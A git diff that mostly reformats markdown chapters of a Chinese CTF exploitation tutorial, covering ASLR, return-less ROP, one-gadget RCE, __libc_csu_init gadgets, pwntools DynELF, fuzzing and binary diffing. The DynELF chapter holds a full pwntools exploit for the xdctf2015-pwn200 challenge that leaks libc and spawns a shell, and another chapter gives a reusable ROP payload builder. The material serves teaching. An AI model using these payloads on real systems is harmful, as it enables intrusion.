```
|
||||
|
||||
|
||||
## 地址空间布局随机化
|
||||
|
||||
最后再说一下地址空间布局随机化(ASLR),该技术虽然不是由 GCC 编译时提供的,但对 PIE 还是有影响。该技术旨在将程序的内存布局随机化,使得攻击者不能轻易地得到数据区的地址来构造 payload。由于程序的堆栈分配与共享库的装载都是在运行时进行,系统在程序每次执行时,随机地分配程序堆栈的地址以及共享库装载的地址。使得攻击者无法预测自己写入的数据区的虚拟地址。
|
||||
|
||||
针对该保护机制的攻击,往往是通过信息泄漏来实现。由于同一模块中的所有代码和数据的相对偏移是固定的,攻击者只要泄漏出某个模块中的任一代码指针或数据指针,即可通过计算得到此模块中任意代码或数据的地址。
|
||||
|
@ -4,15 +4,17 @@
|
||||
- [没有 return 的 ROP](#没有-return-的-rop)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
## 早期的防御技术
|
||||
|
||||
前面我们已经学过各种 ROP 技术,但同时很多防御技术也被提出来,这一节我们就来看一下这些技术。
|
||||
|
||||
我们知道正常程序的指令流执行和 ROP 的指令流执行有很大不同,至少有下面两点:
|
||||
|
||||
- ROP 执行流会包含了很多 return 指令,而且之间只间隔了几条其他指令
|
||||
- ROP 利用 return 指令来 unwind 堆栈,却没有对应的 call 指令
|
||||
|
||||
以上面两点差异作为基础,研究人员提出了很多 ROP 检测和防御技术:
|
||||
|
||||
- 针对第一点差异,可以检测程序执行中是否有频繁 return 的指令流,作为报警的依据
|
||||
- 针对第二点差异,可以通过 call 和 return 指令来查找正常程序中通常都存在的后进先出栈里维护的不变量,判断其是否异常
|
||||
- 还有更极端的,在编译器层面重写二进制文件,消除里面的 return 指令
|
||||
@ -20,29 +22,36 @@
|
||||
所以其实这些早期的防御技术都默认了一个前提,即 ROP 中必定存在 return 指令。
|
||||
|
||||
另外对于重写二进制文件消除 return 指令的技术,根据二进制偏移也可能会得到攻击者需要的非预期指令,比如下面这段指令:
|
||||
```
|
||||
|
||||
```text
|
||||
b8 13 00 00 00 mov $0x13, %eax
|
||||
e9 c3 f8 ff ff jmp 3aae9
|
||||
```
|
||||
|
||||
偏移两个十六进制得到下面这样:
|
||||
```
|
||||
|
||||
```text
|
||||
00 00 add %al, (%eax)
|
||||
00 e9 add %ch, %cl
|
||||
c3 ret
|
||||
```
|
||||
|
||||
最终还是出现了 return 指令。
|
||||
|
||||
|
||||
## 没有 return 的 ROP
|
||||
|
||||
后来又有人提出了不依赖于 return 指令的 ROP,使得早期的防御技术完全失效。return 指令的作用主要有两个:第一通过间接跳转改变执行流,第二是更新寄存器状态。在 x86 和 ARM 中都存在一些指令序列,也能够完成这些工作,它们首先更新全局状态(如栈指针),然后根据更新后的状态加载下一条指令序列的地址,最后跳转过去执行(把它叫做 update-load-branch 指令序列)。这样就避免的 return 指令的使用。
|
||||
|
||||
就像下面这样,`x` 代表任意的通用寄存器:
|
||||
```
|
||||
|
||||
```text
|
||||
pop x
|
||||
jmp *x
|
||||
```
|
||||
|
||||
`r6` 通用寄存器里是更新后的状态:
|
||||
```
|
||||
|
||||
```text
|
||||
adds r6, #4
|
||||
ldr r5, [r6, #124]
|
||||
blx r5
|
||||
@ -50,9 +59,9 @@ blx r5
|
||||
|
||||
由于 update-load-branch 指令序列相比 return 指令更加稀少,所以需要把它作为 trampoline 重复利用。在构造 ROP 链时,选择以 trampoline 为目标的间接跳转指令结束的指令序列。当一个 gadget 执行结束后,跳转到 trampoline,trampoline 更新程序全局状态,并将程序控制交给下一个 gadget,这样就形成了 ROP 链。
|
||||
|
||||
![](../pic/8.2_rop_without_ret.png)
|
||||
|
||||
![img](../pic/8.2_rop_without_ret.png)
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [Return-Oriented Programming without Returns](https://www2.cs.uic.edu/~s/papers/noret_ccs2010/noret_ccs2010.pdf)
|
||||
- [Analysis of Defenses against Return Oriented Programming](http://www.eit.lth.se/sprapport.php?uid=829)
|
||||
|
@ -1,13 +1,14 @@
|
||||
# 4.6 one-gadget RCE
|
||||
|
||||
|
||||
one-gadget RCE 是在 libc 中存在的一些执行 `execve('/bin/sh', NULL, NULL)` 的片段。当我们知道 libc 的版本,并且可以通过信息泄露得到 libc 的基址,则可以通过控制 EIP 执行该 gadget 来获得 shell。这个方法的优点是不需要控制调用函数的参数,在 64 位程序中,也就是 rdi、rsi、rdx 等寄存器的值。
|
||||
|
||||
可以使用工具 [one_gadget](https://github.com/david942j/one_gadget) 很方便地查找 one-gadget:
|
||||
```
|
||||
|
||||
```text
|
||||
$ sudo gem install one_gadget
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
$ file /usr/lib/libc-2.26.so
|
||||
/usr/lib/libc-2.26.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /usr/lib/ld-linux-x86-64.so.2, BuildID[sha1]=466056d0995495995ad1a1fe696c9dc7fb3d421b, for GNU/Linux 3.2.0, not stripped
|
||||
$ one_gadget -f /usr/lib/libc-2.26.so
|
||||
@ -23,8 +24,10 @@ constraints:
|
||||
constraints:
|
||||
[rsp+0x60] == NULL
|
||||
```
|
||||
|
||||
经过验证,第一个似乎不可用,另外两个如下,通常,我们都使用 `do_system` 函数里的那个:
|
||||
```
|
||||
|
||||
```text
|
||||
[0x00021080]> pd 7 @ 0x41ee7
|
||||
| 0x00041ee7 488b056aff36. mov rax, qword [0x003b1e58] ; [0x3b1e58:8]=0
|
||||
| 0x00041eee 488d3d409313. lea rdi, str._bin_sh ; 0x17b235 ; "/bin/sh"
|
||||
@ -40,11 +43,13 @@ constraints:
|
||||
| 0x000e2c33 488b10 mov rdx, qword [rax]
|
||||
| 0x000e2c36 67e8a419feff call sym.execve
|
||||
```
|
||||
|
||||
当然,你也可以通过 build ID 来查找对应 libc 里的 one-gadget。
|
||||
```
|
||||
|
||||
```text
|
||||
$ one-gadget -b 466056d0995495995ad1a1fe696c9dc7fb3d421b
|
||||
```
|
||||
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [Pwning (sometimes) with style](http://j00ru.vexillium.org/blog/24_03_15/dragons_ctf.pdf)
|
||||
|
@ -1,16 +1,19 @@
|
||||
# 通用 gadget
|
||||
|
||||
|
||||
## __libc_csu_init()
|
||||
|
||||
我们知道在程序编译的过程中,会自动加入一些通用函数做初始化的工作,这些初始化函数都是相同的,所以我们可以考虑在这些函数中找到一些通用的 gadget,在 x64 程序中,就存在这样的 gadget。x64 程序的前六个参数依次通过寄存器 rdi、rsi、rdx、rcx、r8、r9 进行传递,我们所找的 gadget 自然也是针对这些寄存器进行操作的。
|
||||
|
||||
函数 `__libc_csu_init()` 用于对 libc 进行初始化,只要程序调用了 libc,就一定存在这个函数。由于每个版本的 libc 都有一定区别,这里的版本如下:
|
||||
```
|
||||
|
||||
```text
|
||||
$ file /usr/lib/libc-2.26.so
|
||||
/usr/lib/libc-2.26.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /usr/lib/ld-linux-x86-64.so.2, BuildID[sha1]=f46739d962ec152b56d2bdb7dadaf8e576dbf6eb, for GNU/Linux 3.2.0, not stripped
|
||||
```
|
||||
|
||||
下面用 6.1 pwn hctf2016 brop 的程序来做示范,使用 `/r` 参数可以打印出原始指令的十六进制:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ disassemble /r __libc_csu_init
|
||||
Dump of assembler code for function __libc_csu_init:
|
||||
0x00000000004007d0 <+0>: 41 57 push r15
|
||||
@ -49,8 +52,10 @@ Dump of assembler code for function __libc_csu_init:
|
||||
0x0000000000400834 <+100>: c3 ret
|
||||
End of assembler dump.
|
||||
```
|
||||
|
||||
从中提取出两段(必须以ret结尾),把它们叫做 part1 和 part2:
|
||||
```
|
||||
|
||||
```text
|
||||
0x000000000040082a <+90>: 5b pop rbx
|
||||
0x000000000040082b <+91>: 5d pop rbp
|
||||
0x000000000040082c <+92>: 41 5c pop r12
|
||||
@ -59,7 +64,8 @@ End of assembler dump.
|
||||
0x0000000000400832 <+98>: 41 5f pop r15
|
||||
0x0000000000400834 <+100>: c3 ret
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
0x0000000000400810 <+64>: 4c 89 fa mov rdx,r15
|
||||
0x0000000000400813 <+67>: 4c 89 f6 mov rsi,r14
|
||||
0x0000000000400816 <+70>: 44 89 ef mov edi,r13d
|
||||
@ -76,10 +82,12 @@ End of assembler dump.
|
||||
0x0000000000400832 <+98>: 41 5f pop r15
|
||||
0x0000000000400834 <+100>: c3 ret
|
||||
```
|
||||
|
||||
part1 中连续六个 pop,我们可以通过布置栈来设置这些寄存器,然后进入 part2,前三条语句(r15->rdx、r14->rsi、r13d->edi)分别给三个参数寄存器赋值,然后调用函数,这里需要注意的是第三句是 r13d(r13低32位)给 edi(rdi低32位)赋值,即使这样我们还是可以做很多操作了。
|
||||
|
||||
另外为了让程序在调用函数返回后还能继续执行,我们需要像下面这样进行构造:
|
||||
```
|
||||
|
||||
```text
|
||||
pop rbx #必须为0
|
||||
pop rbp #必须为1
|
||||
pop r12 #函数地址
|
||||
@ -90,6 +98,7 @@ ret #跳转到part2
|
||||
```
|
||||
|
||||
下面附上一个可直接调用的函数:
|
||||
|
||||
```python
|
||||
def com_gadget(part1, part2, jmp2, arg1 = 0x0, arg2 = 0x0, arg3 = 0x0):
|
||||
payload = p64(part1) # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret
|
||||
@ -105,7 +114,8 @@ def com_gadget(part1, part2, jmp2, arg1 = 0x0, arg2 = 0x0, arg3 = 0x0):
|
||||
```
|
||||
|
||||
上面的 gadget 是显而易见的,但如果有人精通汇编字节码,可以找到一些比较隐蔽的 gadget,比如说指定一个位移点再反编译:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ disassemble /r 0x0000000000400831,0x0000000000400835
|
||||
Dump of assembler code from 0x400831 to 0x400835:
|
||||
0x0000000000400831 <__libc_csu_init+97>: 5e pop rsi
|
||||
@ -113,19 +123,22 @@ Dump of assembler code from 0x400831 to 0x400835:
|
||||
0x0000000000400834 <__libc_csu_init+100>: c3 ret
|
||||
End of assembler dump.
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ disassemble /r 0x0000000000400833,0x0000000000400835
|
||||
Dump of assembler code from 0x400833 to 0x400835:
|
||||
0x0000000000400833 <__libc_csu_init+99>: 5f pop rdi
|
||||
0x0000000000400834 <__libc_csu_init+100>: c3 ret
|
||||
End of assembler dump.
|
||||
```
|
||||
|
||||
`5e` 和 `5f` 分别是 `pop rsi` 和 `pop rdi` 的字节码,于是我们可以通过这种方法轻易地控制 `rsi` 和 `rdi`。
|
||||
|
||||
在 6.1.1 pwn HCTF2016 brop 的 exp 中,我们使用了偏移后的 `pop rdi; ret`,而没有用 `com_gadget()` 函数,感兴趣的童鞋可以尝试使用它重写 exp。
|
||||
|
||||
除了上面介绍的 `__libc_csu_init()`,还可以到下面的函数中找一找:
|
||||
```
|
||||
|
||||
```text
|
||||
_init
|
||||
_start
|
||||
call_gmon_start
|
||||
@ -137,8 +150,9 @@ __libc_csu_init
|
||||
__libc_csu_fini
|
||||
_fini
|
||||
```
|
||||
|
||||
总之,多试一试总不会错。
|
||||
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [一步一步学 ROP 系列](https://github.com/zhengmin1989/ROP_STEP_BY_STEP)
|
||||
|
@ -5,11 +5,12 @@
|
||||
- [DynELF 实例](#dynelf-实例)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
## DynELF 简介
|
||||
|
||||
在做漏洞利用时,由于 ASLR 的影响,我们在获取某些函数地址的时候,需要一些特殊的操作。一种方法是先泄露出 libc.so 中的某个函数,然后根据函数之间的偏移,计算得到我们需要的函数地址,这种方法的局限性在于我们需要能找到和目标服务器上一样的 libc.so,而有些特殊情况下往往并不能找到。而另一种方法,利用如 pwntools 的 DynELF 模块,对内存进行搜索,直接得到我们需要的函数地址。
|
||||
|
||||
官方文档里给出了下面的例子:
|
||||
|
||||
```python
|
||||
# Assume a process or remote connection
|
||||
p = process('./pwnme')
|
||||
@ -48,18 +49,22 @@ assert d.lookup('system', 'libc') == system
|
||||
d = DynELF(leak, libc + 0x1234)
|
||||
assert d.lookup('system') == system
|
||||
```
|
||||
|
||||
可以看到,为了使用 DynELF,首先需要有一个 `leak(address)` 函数,通过这一函数可以获取到某个地址上最少 1 byte 的数据,然后将这个函数作为参数调用 `d = DynELF(leak, main)`,该模块就初始化完成了,然后就可以使用它提供的函数进行内存搜索,得到我们需要的函数地址。
|
||||
|
||||
类 DynELF 的初始化方法如下:
|
||||
|
||||
```python
|
||||
def __init__(self, leak, pointer=None, elf=None, libcdb=True):
|
||||
```
|
||||
|
||||
- `leak`:leak 函数,它是一个 `pwnlib.memleak.MemLeak` 类的实例
|
||||
- `pointer`:一个指向 libc 内任意地址的指针
|
||||
- `elf`:elf 文件
|
||||
- `libcdb`:libcdb 是一个作者收集的 libc 库,默认启用以加快搜索。
|
||||
|
||||
导出的类方法如下:
|
||||
|
||||
- `base()`:解析所有已加载库的基地址
|
||||
- `static find_base(leak, ptr)`:提供一个 `pwnlib.memleak.MemLeak`对象和一个指向库内的指针,然后找到其基地址
|
||||
- `heap()`:通过 `__curbrk`(链接器导出符号,指向当前brk)找到堆的起始地址
|
||||
@ -71,11 +76,12 @@ def __init__(self, leak, pointer=None, elf=None, libcdb=True):
|
||||
- `libc`:泄露 build id,下载该文件并加载
|
||||
- `link_map`:指向运行时 link_map 对象的指针
|
||||
|
||||
|
||||
## DynELF 原理
|
||||
|
||||
文档中大概说了下其实现的细节,配合参考资料的文章,大概就可以做到自己实现一个。
|
||||
|
||||
DynELF 使用了两种技术:
|
||||
|
||||
- 解析函数
|
||||
- ELF 文件会从如 libc.so 库中导入符号,有一系列的表给出了导出符号名、导出符号地址和导出符号的哈希值。通过对某个符号名做哈希,可以定位到哈希表中,然后哈希表的位置又提供了字符串表(strtab)和符号表(symtab)的索引。
|
||||
- 假设我们有了 libc.so 的基地址,解析 printf 地址的方法是定位 symtab、strtab 和 hash 表。对字符串"printf"做哈希,然后定位到哈希表中的某一条,然后从 symtab 中得到其在 libc.so 的偏移。
|
||||
@ -85,37 +91,46 @@ DynELF 使用了两种技术:
|
||||
- 在 non-RELOAD 的二进制文件中,该指针在 `.got.plt` 区域中。这是通过 `DT_PLTGOT` 找到的。
|
||||
- 在所有二进制文件中,可以在 `DT_DEBUG` 描述的区域中找到该指针,甚至在 stripped 之后也不例外。
|
||||
|
||||
|
||||
## DynELF 实例
|
||||
|
||||
在 libc 中,我们通常使用 `write`、`puts`、`printf` 来打印指定内存的数据。
|
||||
|
||||
#### write
|
||||
### write
|
||||
|
||||
```C
|
||||
#include <unistd.h>
|
||||
|
||||
ssize_t write(int fd, const void *buf, size_t count);
|
||||
```
|
||||
|
||||
write 函数用于向文件描述符中写入数据,三个参数分别是文件描述符,一个指针指向的数据和写入数据的长度。该函数的优点是可以读取任意长度的内存数据,即打印数据的长度只由 count 控制,缺点则是需要传递 3 个参数。32 位程序通过栈传递参数,直接将参数布置在栈上就可以了,而 64 位程序首先使用寄存器传递参数,所以我们通常使用通用 gadget(参见章节4.7) 来为 write 函数传递参数。
|
||||
|
||||
例子是 xdctf2015-pwn200,[文件地址](../src/writeup/6.2_pwn_xdctf2015_pwn200)。在这个程序中也只有 write 可以利用:
|
||||
```
|
||||
|
||||
```text
|
||||
$ rabin2 -R pwn200
|
||||
...
|
||||
vaddr=0x0804a004 paddr=0x00001004 type=SET_32 read
|
||||
vaddr=0x0804a010 paddr=0x00001010 type=SET_32 write
|
||||
```
|
||||
|
||||
另外我们还需要 read 函数用于读入 '/bin/sh` 到 .bss 段中:
|
||||
```
|
||||
|
||||
```text
|
||||
$ readelf -S pwn200 | grep .bss
|
||||
[25] .bss NOBITS 0804a020 00101c 00002c 00 WA 0 0 32
|
||||
```
|
||||
|
||||
栈溢出漏洞很明显,偏移为 112:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ pattern_offset 0x41384141
|
||||
1094205761 found at offset: 112
|
||||
```
|
||||
|
||||
在 r2 中对程序进行分析,发现一个漏洞函数,地址为 `0x08048484`:
|
||||
```
|
||||
|
||||
```text
|
||||
[0x080483d0]> pdf @ sub.setbuf_484
|
||||
/ (fcn) sub.setbuf_484 58
|
||||
| sub.setbuf_484 ();
|
||||
@ -139,7 +154,9 @@ gdb-peda$ pattern_offset 0x41384141
|
||||
| 0x080484bc c9 leave
|
||||
\ 0x080484bd c3 ret
|
||||
```
|
||||
|
||||
于是我们构造 leak 函数如下,即 `write(1, addr, 4)`:
|
||||
|
||||
```python
|
||||
def leak(addr):
|
||||
payload = "A" * 112
|
||||
@ -157,13 +174,17 @@ d = DynELF(leak, elf=elf)
|
||||
system_addr = d.lookup('system', 'libc')
|
||||
log.info("system address: 0x%x" % system_addr)
|
||||
```
|
||||
|
||||
注意我们需要一个 pppr 的 gadget 来平衡栈:
|
||||
```
|
||||
|
||||
```text
|
||||
$ ropgadget --binary pwn200 --only "pop|ret"
|
||||
...
|
||||
0x0804856c : pop ebx ; pop edi ; pop ebp ; ret
|
||||
```
|
||||
|
||||
得到了 system 的地址,就可以利用 read 函数读入 "/bin/sh",从而得到 shell,完整的 exp 如下:
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -212,17 +233,21 @@ io.send(payload)
|
||||
io.send('/bin/sh\x00')
|
||||
io.interactive()
|
||||
```
|
||||
|
||||
该题除了这里使用 DynELF 的方法,在后面章节 6.3 中,还会介绍一种使用 ret2dl-resolve 的解法。
|
||||
|
||||
#### puts
|
||||
### puts
|
||||
|
||||
```C
|
||||
#include <stdio.h>
|
||||
|
||||
int puts(const char *s);
|
||||
```
|
||||
|
||||
puts 函数使用的参数只有一个,即需要输出的数据的起始地址,它会一直输出直到遇到 `\x00`,所以它输出的数据长度是不容易控制的,我们无法预料到零字符会出现在哪里,截止后,puts 还会自动在末尾加上换行符 `\n`。该函数的优点是在 64 位程序中也可以很方便地使用。缺点是会受到零字符截断的影响,在写 leak 函数时需要特殊处理,在打印出的数据中正确地筛选我们需要的部分,如果打印出了空字符串,则要手动赋值`\x00`,包括我们在 dump 内存的时候,也常常受这个问题的困扰,可以参考章节 6.1 dump 内存的部分。
|
||||
|
||||
所以我们常常需要这样做:
|
||||
|
||||
```python
|
||||
data = io.recv()[:-1] # 去掉末尾\n
|
||||
if not data:
|
||||
@ -230,18 +255,21 @@ if not data:
|
||||
else:
|
||||
data = data[:4]
|
||||
```
|
||||
|
||||
这只是个例子,还是要具体情况具体分析。
|
||||
|
||||
#### printf
|
||||
### printf
|
||||
|
||||
```C
|
||||
#include <stdio.h>
|
||||
|
||||
int printf(const char *format, ...);
|
||||
```
|
||||
|
||||
该函数常用于在格式化字符串中泄露内存,和 puts 差不多,也受到 `\x00` 的影响,只是没有在末尾自动添加 `\n`。而且还有个问题要注意,为了防止 printf 的 `%s` 被 `\x00` 截断,需要对格式化字符串做一些改变。更详细的内容请参考章节 6.2。
|
||||
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [Resolving remote functions using leaks](https://docs.pwntools.com/en/stable/dynelf.html)
|
||||
- [Finding Function's Load Address](http://uaf.io/exploitation/misc/2016/04/02/Finding-Functions.html)
|
||||
- [借助DynELF实现无libc的漏洞利用小结](http://bobao.360.cn/learning/detail/3298.html)
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
## 参考资料
|
||||
- http://shell-storm.org/shellcode/
|
||||
- https://www.exploit-db.com/shellcode/
|
||||
|
||||
- <http://shell-storm.org/shellcode/>
|
||||
- <https://www.exploit-db.com/shellcode/>
|
||||
|
@ -7,8 +7,8 @@
|
||||
- [运行系统漏洞分析](#运行系统漏洞分析)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
## 软件漏洞分析的定义
|
||||
|
||||
- 广义漏洞分析:指的是围绕漏洞所进行的所有工作,包括:
|
||||
- 漏洞挖掘:使用程序分析或软件测试技术发现软件中可能存在的未知的安全漏洞
|
||||
- 漏洞检测:又称漏洞扫描,基于漏洞特征库,通过扫描等手段对指定的远程或者本地计算机系统的安全脆弱性进行检测,以发现可利用的已知漏洞
|
||||
@ -21,7 +21,6 @@
|
||||
- 二进制漏洞分析:包括静态分析和动态分析两种
|
||||
- 运行系统漏洞分析:分析对象是已经实际部署的软件系统,通过信息收集、漏洞检测和漏洞确认三个基本步骤堆软件系统进行漏洞分析
|
||||
|
||||
|
||||
## 软件分析技术概述
|
||||
|
||||
| 技术类别 | 基本原理 | 分析阶段 | 分析对象 | 分析结果 | 优点 | 缺点 |
|
||||
@ -31,7 +30,7 @@
|
||||
| 二进制漏洞分析 | 通过对二进制可执行代码进行多层次(指令级、结构化、形式化等)、多角度(外部接口测试、内部结构测试等)的分析,发现软件程序中的安全缺陷和安全漏洞 | 软件设计、测试及维护 | 二进制代码 | 程序漏洞 | 不需要源代码,漏洞分析准确度较高,实用性广泛 | 缺乏上层的结构信息和类型信息,分析难度大 |
|
||||
| 运行系统漏洞分析 | 通过向运行系统输入特定构造的数据,然后对输出进行分析和验证的方式来检测运行系统的安全性 | 运行及维护 | 运行系统 | 配置缺陷 | 考虑由多种软件共同构成的运行系统的整体安全性,检测项全面,准确度高 | 对分析人员的经验依赖度较大 |
|
||||
|
||||
#### 源代码漏洞分析
|
||||
### 源代码漏洞分析
|
||||
|
||||
| 技术 | 基本原理 | 优点 | 缺点 | 典型工具 |
|
||||
| --- | --- | --- | --- | --- |
|
||||
@ -41,7 +40,7 @@
|
||||
| 模型检测 | 该技术主要通过将程序转换为逻辑公式,然后使用公理和规则来证明程序是否是一个合法的定理。如果程序合法,那么被测程序便满足先前所要求的安全特性 | 对路径的分析敏感,对于路径、状态的结果具有很高的精确性;检验并发错误能力较好,验证过程完全自动化 | 由于穷举了所有可能状态,增加了额外的开销;数据密集度较大时,分析难度很大;对时序、路径等属性,在边界处的近似处理难度大 | SLAM, MOPS, Bandera |
|
||||
| 定理证明 | 该方法主要是将原有程序验证中由研究人员手工完成的分析过程变为自动推导,其主要目的是证明程序计算中的特性 | 使用严格的推导证明控制检测的进行,误报率低 | 某些域上的公式推导缺乏适用性,对新漏洞扩展性不高 | ESC, Saturn |
|
||||
|
||||
#### 二进制漏洞分析
|
||||
### 二进制漏洞分析
|
||||
|
||||
| 技术 | 基本原理 | 应用范围 | 优点 | 缺点 | 典型工具 |
|
||||
| --- | --- | --- | --- | --- | --- |
|
||||
@ -51,7 +50,7 @@
|
||||
| 二进制代码比对 | 通过比对不同二进制文件,尤其是补丁文件与原文件之间的差异获取修改信息,从而定位并获取漏洞信息 | 需要有针对某一漏洞的补丁文件或是两个不同版本的同型软件 | 算法较为成熟,实现简单,有许多相关使用工具 | 由于需要补丁或新版软件的比对,所以该类技术仅能发现已被报告并修复的漏洞 | Bindiff, IDA Compare, eEye Binary Diffing Suite |
|
||||
| 智能灰盒测试 | 利用动态符号执行等技术,针对被测软件生成有针对性的测试用例,从而提高测试用例的覆盖能力 | 以文件、网络数据或是本地输入及其他对外部输入数据依赖较大的软件 | 可以有效提升测试用例的覆盖率,从而提高发现漏洞的可能性 | 由于算法和计算量等问题,在使用时容易出现路径爆炸和求解困顿等问题,对大型软件的测试效果不是很理想 | SAGE, SmartFuzz |
|
||||
|
||||
#### 运行系统漏洞分析
|
||||
### 运行系统漏洞分析
|
||||
|
||||
| 技术 | 基本原理 | 应用范围 | 优点 | 缺点 | 典型工具 |
|
||||
| --- | --- | --- | --- | --- | --- |
|
||||
@ -61,6 +60,6 @@
|
||||
| 数据验证测试 | 数据验证测试目的在于发现由于运行系统没有正确验证来自客户端或外界的数据而产生的安全漏洞。该类技术主要通过构造特定的输入以检测是否可以触发运行系统的某些特定类型安全漏洞 | 检测运行系统中授权、认证机制中潜在的漏洞 | 技术比较成熟,可用工具较多,操作简单 | 分析结果误报率比较高 | MVS, AppScan |
|
||||
| 数据安全性验证 | 数据安全性验证旨在发现威胁运行系统内部数据自身安全性的漏洞 | 检测运行系统中在存储和传输数据时潜在的漏洞 | 技术比较成熟,可用工具较多,操作简单 | 分析结果误报率比较高 | WireShark |
|
||||
|
||||
|
||||
## 参考资料
|
||||
|
||||
- 《软件漏洞分析技术》
|
||||
|
@ -4,13 +4,13 @@
|
||||
- [安装](#安装)
|
||||
- [简单示例](#简单示例)
|
||||
|
||||
|
||||
## AFL 简介
|
||||
|
||||
AFL 是一个强大的 Fuzzing 测试工具,由 lcamtuf 所开发。利用 AFL 在源码编译时进行插桩(简称编译时插桩),可以自动产生测试用例来探索二进制程序内部新的执行路径。与其他基于插桩技术的 fuzzer 相比,AFL 具有较低的性能消耗,各种高效的模糊测试策略和最小化技巧,它无需很多复杂的配置即可处理现实中的复杂程序。另外 AFL 也支持直接对没有源码的二进制程序进行黑盒测试,但需要 QEMU 的支持。
|
||||
|
||||
|
||||
## 安装
|
||||
```
|
||||
|
||||
```text
|
||||
$ wget http://lcamtuf.coredump.cx/afl/releases/afl-latest.tgz
|
||||
$ tar zxvf afl-latest.tgz
|
||||
$ cd afl-2.52b
|
||||
@ -18,8 +18,6 @@ $ make
|
||||
$ sudo make install
|
||||
```
|
||||
|
||||
|
||||
## 简单示例
|
||||
|
||||
|
||||
## 参考资料
|
||||
|
@ -2,6 +2,6 @@
|
||||
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [libFuzzer – a library for coverage-guided fuzz testing.](http://llvm.org/docs/LibFuzzer.html)
|
||||
|
@ -3,13 +3,14 @@
|
||||
- [基本原理](#基本原理)
|
||||
- [方法实现](#方法实现)
|
||||
|
||||
|
||||
## 基本原理
|
||||
|
||||
软件开发商为了修补软件系统的各种漏洞或缺陷所提供的修补程序被称为软件补丁。对于开源软件,补丁本身就是程序源代码,打补丁的过程就是用补丁中的源代码替换原有的代码。而对于闭源软件,厂商只提供修改后的二进制代码,例如微软的Windows系统补丁。这时就需要使用二进制代码比对技术,定位补丁所修补的软件漏洞。
|
||||
|
||||
二进制代码比对的根本目的是寻找补丁前后程序的差异。这里所说的差异是指语义上的差异,即程序在执行时所表现出的不同的逻辑行为。通过二进制代码比对定位出有差异的函数,再经过进一步的人工分析,可以确定出二进制补丁对程序执行逻辑上的修改,从而推测漏洞位置及成因,辅助漏洞挖掘工作。
|
||||
|
||||
主要的实现原理有如下几种:
|
||||
|
||||
- 基于文本的比对:最简单的比对方式,其比对的对象分为两种,即二进制文件和反汇编代码
|
||||
- 二进制文件的文本比对:对打补丁前后的两个二进制文件逐字节进行比对,能够全面地检测出程序中微小的变化,缺点是完全不考虑程序的逻辑信息,漏洞定位精度差,误报率高。
|
||||
- 反汇编代码的文本比对:将二进制程序先经过反汇编,然后对反汇编代码进行文本比对,比对结果中包含一定的程序逻辑信息,但同样对程序的变得十分敏感,有很大的局限性。
|
||||
@ -17,16 +18,19 @@
|
||||
- 基于结构化的比对:为了克服基于同构图比对的缺陷,该技术主要关注可执行文件逻辑结构上的变化,而不是某一条反汇编指令的变化。
|
||||
- 综合比对技术:在上述基本比对技术的基础上,进行多种比对技术的综合应用。
|
||||
|
||||
|
||||
## 方法实现
|
||||
#### 基于文本的比对
|
||||
|
||||
### 基于文本的比对
|
||||
|
||||
基于二进制文件的文本比对仅适用于查找文件中极少量字节差异。过程如下:
|
||||
|
||||
- 将两个二进制文件作为两个输入字符串,每一个二进制字节就相当于字符串中的一个字符
|
||||
- 通过最长公共子序列算法,在两个文件中从头向后搜索最长公共子序列,进行比对
|
||||
- 每当找到一个最长公共子序列,意味着找到了一段指令的匹配,并继续向后搜索最长公共子序列
|
||||
- 比对进行到文件结尾,比对结束
|
||||
|
||||
基于反汇编代码的文本比对实际上是一种指令级别的比对方法,研究指令之间的相似性和差异性:
|
||||
|
||||
- 相似:即两条指令的语义完全相同。判定规则如下:
|
||||
- 两条指令的二进制字节完全相同
|
||||
- 指令的 opcode 相同或者两条指令同为无条件跳转或条件跳转指令
|
||||
@ -35,8 +39,10 @@
|
||||
- 可忽略:如果某条指令为NOP指令,或者是只有唯一后继节点的JMP指令
|
||||
- 不同:两条指令中的一条被标记为“可忽略”
|
||||
|
||||
#### 基于图同构的比对
|
||||
### 基于图同构的比对
|
||||
|
||||
在构造可执行文件的图的时候,做出如下假设:
|
||||
|
||||
- 不同版本的两个目标文件从本质上是不同构的,算法的目标是找到一个最佳匹配映射,而不需要穷尽所有匹配
|
||||
- 可执行文件提供的基本信息可作为匹配的起点
|
||||
- 生成的有向图中,大部分顶点只有一个入口和一个出口
|
||||
@ -44,6 +50,7 @@
|
||||
- 不对整个图进行同构匹配,而是寻找图中某一部分的同构匹配
|
||||
|
||||
基于同构图比对的技术可分为两种:
|
||||
|
||||
- 指令级图同构比对算法:两个需要比对的可执行文件分别构造成图,以指令、数据常量、函数调用指令等作为顶点,以控制流图的边作为图的边。对生成的两个图做同构识别,用同构算法找到最相似的两个部分作为同构部分。然后,对两个图的非同构部分继续识别其是否同构,直至全部识别结束
|
||||
1. 分析两个二进制文件,获得函数、引用表、字符串等。对于函数,生成函数流程图。图中的节点表示单一的指令,图中的边表示指令间所有可能的执行顺序
|
||||
2. 识别比较的开始点,可以是程序入口点,也可以分析导出函数表,匹配相应的导出函数,作为比较的起始点。将这些地址放入一个分析队列中
|
||||
|
@ -6,37 +6,44 @@
|
||||
- [r2pipe decompiler](#r2pipe-decompiler)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
